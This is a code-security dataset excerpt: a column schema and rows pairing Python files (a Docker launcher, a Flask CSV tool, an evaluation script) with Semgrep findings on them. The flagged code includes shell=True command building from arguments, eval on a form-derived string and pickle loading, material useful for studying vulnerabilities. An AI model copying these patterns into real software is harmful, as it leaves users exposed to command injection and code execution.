added
stringdate
2024-11-18 17:59:49
2024-11-19 03:44:43
created
int64
126B
1,694B
id
stringlengths
40
40
int_score
int64
2
5
metadata
dict
score
float64
2.31
5.09
source
stringclasses
1 value
text
stringlengths
257
22.3k
num_lines
int64
16
648
avg_line_length
float64
15
61
max_line_length
int64
31
179
ast_depth
int64
8
40
length
int64
101
3.8k
lang
stringclasses
1 value
sast_semgrep_findings
stringlengths
1.56k
349k
sast_semgrep_findings_count
int64
1
162
sast_semgrep_success
bool
1 class
sast_semgrep_error
stringclasses
1 value
cwe_ids
listlengths
1
162
rule_ids
listlengths
1
162
subcategories
listlengths
1
162
confidences
listlengths
1
162
severities
listlengths
1
162
line_starts
listlengths
1
162
line_ends
listlengths
1
162
column_starts
listlengths
1
162
column_ends
listlengths
1
162
owasp_categories
listlengths
1
162
messages
listlengths
1
162
cvss_scores
listlengths
1
162
likelihoods
listlengths
1
162
impacts
listlengths
1
162
filename
stringlengths
4
105
path
stringlengths
5
372
repo_name
stringlengths
5
115
license
stringclasses
385 values
2024-11-18T22:24:12.411811+00:00
1,528,812,283,000
6a6aed5adf35f89e580ed777cf53728745e9e43a
2
{ "blob_id": "6a6aed5adf35f89e580ed777cf53728745e9e43a", "branch_name": "refs/heads/master", "committer_date": 1528812283000, "content_id": "ff0f6184ad40948800050c3ad1ce9d572c28a4d5", "detected_licenses": [ "BSD-3-Clause" ], "directory_id": "bdd777a0167c2849f0011ecac8227741834759ae", "extension": "py", "filename": "run_docker_findapi.py", "fork_events_count": 1, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 79564506, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1276, "license": "BSD-3-Clause", "license_type": "permissive", "path": "/run_docker_findapi.py", "provenance": "stack-edu-0054.json.gz:586883", "repo_name": "SBU-BMI/findapi", "revision_date": 1528812283000, "revision_id": "bf5c788a4be56419c1704278785d52850c41f95e", "snapshot_id": "6b053046bfde19612bcfc05d30d42a46d3a83708", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/SBU-BMI/findapi/bf5c788a4be56419c1704278785d52850c41f95e/run_docker_findapi.py", "visit_date": "2021-01-11T18:32:14.934895" }
2.421875
stackv2
#!/usr/bin/env python import sys import getopt import subprocess import os import pwd def usage(): print '\nUsage: ' + sys.argv[0] + ' -m <mongohost> -p <mongoport> -w <webport>\n' def get_username(): return pwd.getpwuid(os.getuid())[0] def main(argv): mongohost = '' mongoport = '' webport = '' try: opts, args = getopt.getopt(argv, "hm:p:w:", ["mongohost=", "mongoport=", "webport="]) except getopt.GetoptError: usage() sys.exit(2) for opt, arg in opts: if opt == '-h': usage() sys.exit() elif opt in ("-m", "--mongohost"): mongohost = arg elif opt in ("-p", "--mongoport"): mongoport = arg elif opt in ("-w", "--webport"): webport = arg print 'mongohost is ', mongohost print 'mongoport is ', mongoport print 'webport is ', webport if webport == '' and mongoport == '' and mongohost == '': usage() sys.exit() user = get_username() run_cmd = "docker run -e MONHOST=" + mongohost + " -e MONPORT=" + mongoport + " -p " + webport + ":3000 --name " + user + "-findapi -d sbubmi/findapi" subprocess.call(run_cmd, shell=True) if __name__ == "__main__": main(sys.argv[1:])
52
23.54
154
15
362
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_45004f9751769be4_aeb7d8f9", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 48, "line_end": 48, "column_start": 5, "column_end": 41, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmp10dxl77l/45004f9751769be4.py", "start": {"line": 48, "col": 5, "offset": 1187}, "end": {"line": 48, "col": 41, "offset": 1223}, "extra": {"message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.unchecked-subprocess-call_45004f9751769be4_1dd1b030", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.unchecked-subprocess-call", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "remediation": "check_call", "location": {"file_path": "unknown", "line_start": 48, "line_end": 48, "column_start": 16, "column_end": 20, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python.org/3/library/subprocess.html#subprocess.check_call", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.unchecked-subprocess-call", "path": "/tmp/tmp10dxl77l/45004f9751769be4.py", "start": {"line": 48, "col": 16, "offset": 1198}, "end": {"line": 48, "col": 20, "offset": 1202}, "extra": {"message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "fix": "check_call", "metadata": {"references": ["https://docs.python.org/3/library/subprocess.html#subprocess.check_call"], "category": "correctness", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
2
true
[ "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 48 ]
[ 48 ]
[ 5 ]
[ 41 ]
[ "A01:2017 - Injection" ]
[ "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'." ]
[ 7.5 ]
[ "LOW" ]
[ "HIGH" ]
run_docker_findapi.py
/run_docker_findapi.py
SBU-BMI/findapi
BSD-3-Clause
2024-11-18T22:24:14.061295+00:00
1,461,206,069,000
c7b217e132163133d8e8314d6415917ac0d2c87e
2
{ "blob_id": "c7b217e132163133d8e8314d6415917ac0d2c87e", "branch_name": "refs/heads/master", "committer_date": 1461206069000, "content_id": "01b38cb8d82d6ace783e8d0306b93ee8030dd6a9", "detected_licenses": [ "MIT" ], "directory_id": "d9a5d94cd2c3653bedadf233d11ba426bdc47c43", "extension": "py", "filename": "views.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": null, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2490, "license": "MIT", "license_type": "permissive", "path": "/csvsimpletools/views.py", "provenance": "stack-edu-0054.json.gz:586903", "repo_name": "pombredanne/csvsimpletools", "revision_date": 1461206069000, "revision_id": "922dd03625d9899a658d0127685448fa36389cc9", "snapshot_id": "7e25a567f4ce73b5deb8bac478335b647d82bea9", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/pombredanne/csvsimpletools/922dd03625d9899a658d0127685448fa36389cc9/csvsimpletools/views.py", "visit_date": "2021-05-01T03:31:05.458521" }
2.328125
stackv2
# coding: utf-8 import csv_commands import sys from csv import reader, writer from csvsimpletools import app, babel from flask import g, make_response, redirect, render_template, request from forms import GetCSV from tempfile import TemporaryFile reload(sys) sys.setdefaultencoding('utf-8') @app.route('/') def deafult_language(): return redirect('/en') @app.route('/<lang>') def index(): return render_template('form.html', commands=csv_commands.commands, command_list=csv_commands.command_list, languages=app.config['LANGUAGES'], lang=g.get('lang', 'en'), form=GetCSV()) @app.route('/<lang>/result', methods=('GET', 'POST')) def result(): # load form form = GetCSV() # if uploaded info is valid, generate new CSV accordingly if form.validate_on_submit(): # copy uploaded content to a temp file uploaded = request.files['csv'] with TemporaryFile() as temp1: temp1.write(uploaded.read()) temp1.seek(0) temp1.flush() parsed = reader(temp1, delimiter=str(form.input_delimiter.data)) lines = list(parsed) # parse and process the CSV command = form.command.data if command in csv_commands.command_list: new = eval('csv_commands.{}(lines)'.format(command)) else: new = list(lines) # create CSV for download with TemporaryFile() as temp2: output = writer(temp2, delimiter=str(form.output_delimiter.data)) output.writerows(new) temp2.seek(0) content = temp2.read() # generate response f = uploaded.filename r = make_response(content) r.headers["Content-Type"] = "text/csv" r.headers["Content-Disposition"] = 'attachment; filename={}'.format(f) return r # else, return error return 'Error(s): {}'.format(form.errors) @app.before_request def before(): if request.view_args and 'lang' in request.view_args: allow = app.config['LANGUAGES'].keys() user_choice = request.view_args['lang'] if user_choice in allow: g.lang = user_choice else: g.lang = request.accept_languages.best_match(allow) request.view_args.pop('lang') @babel.localeselector def get_locale(): return g.get('lang', 'en')
86
27.95
78
18
526
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_c3b7a67d53aebf3f_31bc84ac", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 50, "line_end": 50, "column_start": 19, "column_end": 65, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmp10dxl77l/c3b7a67d53aebf3f.py", "start": {"line": 50, "col": 19, "offset": 1399}, "end": {"line": 50, "col": 65, "offset": 1445}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.use-defusedcsv_c3b7a67d53aebf3f_d7700358", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defusedcsv", "finding_type": "security", "severity": "low", "confidence": "low", "message": "Detected the generation of a CSV file using the built-in `csv` module. If user data is used to generate the data in this file, it is possible that an attacker could inject a formula when the CSV is imported into a spreadsheet application that runs an attacker script, which could steal data from the importing user or, at worst, install malware on the user's computer. `defusedcsv` is a drop-in replacement with the same API that will attempt to mitigate formula injection attempts. You can use `defusedcsv` instead of `csv` to safely generate CSVs.", "remediation": "writer(temp2, delimiter=str(form.output_delimiter.data))", "location": {"file_path": "unknown", "line_start": 56, "line_end": 56, "column_start": 22, "column_end": 78, "code_snippet": "requires login"}, "cwe_id": "CWE-1236: Improper Neutralization of Formula Elements in a CSV File", "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://github.com/raphaelm/defusedcsv", "title": null}, {"url": "https://owasp.org/www-community/attacks/CSV_Injection", "title": null}, {"url": "https://web.archive.org/web/20220516052229/https://www.contextis.com/us/blog/comma-separated-vulnerabilities", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defusedcsv", "path": "/tmp/tmp10dxl77l/c3b7a67d53aebf3f.py", "start": {"line": 56, "col": 22, "offset": 1585}, "end": {"line": 56, "col": 78, "offset": 1641}, "extra": {"message": "Detected the generation of a CSV file using the built-in `csv` module. If user data is used to generate the data in this file, it is possible that an attacker could inject a formula when the CSV is imported into a spreadsheet application that runs an attacker script, which could steal data from the importing user or, at worst, install malware on the user's computer. `defusedcsv` is a drop-in replacement with the same API that will attempt to mitigate formula injection attempts. You can use `defusedcsv` instead of `csv` to safely generate CSVs.", "fix": "writer(temp2, delimiter=str(form.output_delimiter.data))", "metadata": {"cwe": ["CWE-1236: Improper Neutralization of Formula Elements in a CSV File"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://github.com/raphaelm/defusedcsv", "https://owasp.org/www-community/attacks/CSV_Injection", "https://web.archive.org/web/20220516052229/https://www.contextis.com/us/blog/comma-separated-vulnerabilities"], "category": "security", "technology": ["python"], "confidence": "LOW", "subcategory": ["audit"], "likelihood": "LOW", "impact": "LOW"}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.flask.security.audit.xss.make-response-with-unknown-content_c3b7a67d53aebf3f_5a23bdb7", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.audit.xss.make-response-with-unknown-content", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`.", "remediation": "", "location": {"file_path": "unknown", "line_start": 63, "line_end": 63, "column_start": 13, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://github.com/python-security/pyt//blob/093a077bcf12d1f58ddeb2d73ddc096623985fb0/examples/vulnerable_code/XSS_assign_to_other_var.py#L11", "title": null}, {"url": "https://flask.palletsprojects.com/en/1.1.x/api/#flask.Flask.make_response", "title": null}, {"url": "https://flask.palletsprojects.com/en/1.1.x/api/#response-objects", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.audit.xss.make-response-with-unknown-content", "path": "/tmp/tmp10dxl77l/c3b7a67d53aebf3f.py", "start": {"line": 63, "col": 13, "offset": 1808}, "end": {"line": 63, "col": 35, "offset": 1830}, "extra": {"message": "Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "references": ["https://github.com/python-security/pyt//blob/093a077bcf12d1f58ddeb2d73ddc096623985fb0/examples/vulnerable_code/XSS_assign_to_other_var.py#L11", "https://flask.palletsprojects.com/en/1.1.x/api/#flask.Flask.make_response", "https://flask.palletsprojects.com/en/1.1.x/api/#response-objects"], "category": "security", "technology": ["flask"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
3
true
[ "CWE-95", "CWE-79" ]
[ "rules.python.lang.security.audit.eval-detected", "rules.python.flask.security.audit.xss.make-response-with-unknown-content" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
[ 50, 63 ]
[ 50, 63 ]
[ 19, 13 ]
[ 65, 35 ]
[ "A03:2021 - Injection", "A07:2017 - Cross-Site Scripting (XSS)" ]
[ "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "Be careful with `flask.make_response()`. If this response i...
[ 5, 5 ]
[ "LOW", "LOW" ]
[ "HIGH", "MEDIUM" ]
views.py
/csvsimpletools/views.py
pombredanne/csvsimpletools
MIT
2024-11-18T22:24:14.723356+00:00
1,587,395,273,000
a3adaa7592729b0313c64a358f79fe3cc9b5c376
2
{ "blob_id": "a3adaa7592729b0313c64a358f79fe3cc9b5c376", "branch_name": "refs/heads/master", "committer_date": 1587395273000, "content_id": "acab8c760e2b99fa4ce5d612abdba087890b8739", "detected_licenses": [ "MIT" ], "directory_id": "8acb126606d430ae546fa13ebd3d6b8200b4a7d1", "extension": "py", "filename": "evaluation_nuclei_f1score.py", "fork_events_count": 1, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 216340297, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5739, "license": "MIT", "license_type": "permissive", "path": "/tools/evaluation/evaluation_nuclei_f1score.py", "provenance": "stack-edu-0054.json.gz:586911", "repo_name": "MeowMeowLady/InstanceSeg-Without-Voxelwise-Labeling", "revision_date": 1587395273000, "revision_id": "5ac8ceb42d3c82b4c31871d14654e7444b3b1629", "snapshot_id": "7a3a65e2dc43d35655a1cd0bcc517038ace98923", "src_encoding": "UTF-8", "star_events_count": 10, "url": "https://raw.githubusercontent.com/MeowMeowLady/InstanceSeg-Without-Voxelwise-Labeling/5ac8ceb42d3c82b4c31871d14654e7444b3b1629/tools/evaluation/evaluation_nuclei_f1score.py", "visit_date": "2020-08-22T06:44:16.602237" }
2.328125
stackv2
# -*- coding: utf-8 -*- """ Created on 18-12-21 上午9:48 IDE PyCharm @author: Meng Dong this script is used to evaluate the detection and segmentation results on cell tracking challenge dataset, the metric is F1 score. according to the miccai2018 3d instance segmentation paper. """ import numpy as np import os from six.moves import cPickle as pickle def load_gt_bbox(label_file): label_fid = open(label_file, 'r') label = label_fid.readlines() label_fid.close() gt_boxes = np.empty((0, 6), dtype=np.float32) markers = np.empty(0, dtype=np.uint16) for obj in label[1:]: parts = obj.rstrip().split(' ') x1 = int(parts[1]) y1 = int(parts[2]) z1 = int(parts[3]) x2 = x1 + int(parts[4]) - 1 y2 = y1 + int(parts[5]) - 1 z2 = z1 + int(parts[6]) - 1 marker = int(parts[7]) markers = np.append(markers, marker) box = np.array((x1, y1, z1, x2, y2, z2), dtype=np.float32)[np.newaxis, :] gt_boxes = np.append(gt_boxes, box, axis=0) return gt_boxes, markers # calculate the iou between ground truth and predicted segmentation def segm_ovlp(mask, mask_ref, markers, kept): iou = np.zeros(len(markers)) tp = np.zeros(len(markers)) fp = np.zeros(len(markers)) fn = np.zeros(len(markers)) # pos_num = np.sum(mask) for id, marker in enumerate(markers): if kept[id]: pos_ref = mask_ref == marker inner_set = mask & pos_ref union_set = mask | pos_ref inner = np.sum(inner_set) union = np.sum(union_set) tp[id] = inner fp[id] = np.sum(mask ^ inner_set) fn[id] = np.sum(pos_ref ^ inner_set) iou[id] = np.float(inner)/np.float(union) # else: # fp[id] = pos_num return iou, tp, fp, fn res_path = '../dets'# path for detection results src_path = '../cell-tracking-challenge/Fluo-N3DH-SIM+_Train' # path for image data test_txt = '../cell-tracking-challenge/Fluo-N3DH-SIM+_Train/test.txt'# path for test-list txt ovthresh = 0.4 track = '02' save_as_pkl = True # get the test set list list_f = open(test_txt, 'r') img_paths = list_f.readlines() img_paths = [x.rstrip() for x in img_paths] list_f.close() npos = 0 class_recs = {} print('start evaluating detection...') if track == '01': img_paths = img_paths[:70] elif track == '02': img_paths = img_paths[70:] # evaluate detection #-------------------------------------------------------------------------------------------- # load ground truth and save as class_recs for img_path in img_paths: # read label # bbox track = img_path.split('/')[-2] img_name = track + '_' + img_path.split('/')[-1][:-4] label_file = os.path.join(src_path, track+'_GT', 'BBOX', 'bbox_' +img_name[-3:]+ '.txt') class_recs[img_name] = {} class_recs[img_name]['bbox'], class_recs[img_name]['markers'] = load_gt_bbox(label_file) class_recs[img_name]['det'] = np.zeros(class_recs[img_name]['bbox'].shape[0], dtype=bool) npos += class_recs[img_name]['bbox'].shape[0] #--------------------------------------------------------------------------------------------- # load bbox detection results image_ids = [] confidence = np.empty((0, 1), dtype=np.float32) BB = np.empty((0, 6), dtype=np.float32) #class_dets = {} for img_path in img_paths: img_name = img_path.split('/')[-2] + '_' + img_path.split('/')[-1][:-4] if save_as_pkl: with open(os.path.join(res_path, img_name+'.pkl'), 'rb') as f_pkl: info = pickle.load(f_pkl) res = info['all_boxes'][1] else: res = np.load(os.path.join(res_path, img_name+'.npy')) # keep those whose score bigger than 0.4 keep = res[:, -1] > 0.4 res = res[keep, :] confidence = np.append(confidence, res[:, -1]) if res.shape[1] == 7: BB = np.append(BB, res[:, :6], axis=0) elif res.shape[1] == 8: BB = np.append(BB, res[:, 1:7], axis=0)# for i in range(res.shape[0]): image_ids.append(img_name) # traverse the predicted bbox and calculate the TPs and FPs nd = len(image_ids) tp = np.zeros(nd) fp = np.zeros(nd) for d in range(nd): R = class_recs[image_ids[d]] bb = BB[d, :].astype(float) ovmax = -np.inf BBGT = R['bbox'].astype(float) # ground truth if BBGT.size > 0: # calculate IoU # intersection ixmin = np.maximum(BBGT[:, 0], bb[0]) iymin = np.maximum(BBGT[:, 1], bb[1]) izmin = np.maximum(BBGT[:, 2], bb[2]) ixmax = np.minimum(BBGT[:, 3], bb[3]) iymax = np.minimum(BBGT[:, 4], bb[4]) izmax = np.minimum(BBGT[:, 5], bb[5]) iw = np.maximum(ixmax - ixmin + 1., 0.) ih = np.maximum(iymax - iymin + 1., 0.) iss = np.maximum(izmax - izmin + 1., 0.) inters = iw * ih * iss # union uni = ((bb[3] - bb[0] + 1.) * (bb[4] - bb[1] + 1.) * (bb[5] - bb[2] + 1.) + (BBGT[:, 3] - BBGT[:, 0] + 1.) * (BBGT[:, 4] - BBGT[:, 1] + 1.) * (BBGT[:, 5] - BBGT[:, 2] + 1.) - inters) overlaps = inters / uni ovmax = np.max(overlaps) jmax = np.argmax(overlaps) # find the max IoU if ovmax > ovthresh: # if bigger than the threshold if not R['det'][jmax]: # is not detected tp[d] = 1. R['det'][jmax] = 1 # note as detected else: fp[d] = 1. else: fp[d] = 1. recall_det = np.sum(tp)/npos precision_det = np.sum(tp)/nd f1score_det = 2 * (recall_det * precision_det)/(recall_det + precision_det) print('done, detection f1 score is {}, precision is {}, recall is {}'.format(f1score_det, precision_det, recall_det))
170
32.74
117
18
1,713
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_ca61d8bfa1de65ad_45e6b5ba", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 19, "line_end": 19, "column_start": 17, "column_end": 38, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/ca61d8bfa1de65ad.py", "start": {"line": 19, "col": 17, "offset": 406}, "end": {"line": 19, "col": 38, "offset": 427}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_ca61d8bfa1de65ad_f33915f1", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 68, "line_end": 68, "column_start": 10, "column_end": 29, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/ca61d8bfa1de65ad.py", "start": {"line": 68, "col": 10, "offset": 2158}, "end": {"line": 68, "col": 29, "offset": 2177}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_ca61d8bfa1de65ad_0e5b6b34", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 104, "line_end": 104, "column_start": 20, "column_end": 38, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/ca61d8bfa1de65ad.py", "start": {"line": 104, "col": 20, "offset": 3564}, "end": {"line": 104, "col": 38, "offset": 3582}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
3
true
[ "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 104 ]
[ 104 ]
[ 20 ]
[ 38 ]
